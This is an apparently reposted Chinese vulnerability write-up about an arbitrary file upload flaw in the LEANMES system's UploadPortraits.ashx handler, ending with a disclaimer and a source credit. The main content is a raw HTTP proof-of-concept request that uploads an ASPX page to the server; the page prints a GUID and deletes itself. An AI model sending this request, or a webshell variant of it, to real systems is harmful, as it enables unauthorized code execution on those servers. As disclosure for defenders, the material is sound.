文章总结： 本文分析了深科特LEANMES系统UploadPortraits.ashx接口存在的任意文件上传漏洞。由于UserId校验逻辑形同虚设且Filename参数缺乏后缀过滤，攻击者可构造请求上传恶意脚本实现远程代码执行。文章详细阐述了漏洞成因，并提供了FOFA搜索语法与完整的HTTP复现POC，具有极高的实战利用价值。 综合评分： 90 文章分类： 漏洞分析,渗透测试,漏洞POC,WEB安全

POST /Handler/UploadPortraits.ashx?Type=Upload&UserId=1&Filename=1.apsx HTTP/1.1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHost: xx
------WebKitFormBoundaryContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
<%@Page&nbsp;Language="C#"%><%Response.Write(Guid.NewGuid().ToString("N"));System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath));%>------WebKitFormBoundary--

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：星络安全实验室 zz zz《深科特 LEAN MES 任意文件上传漏洞分析（从逻辑缺陷到 RCE）》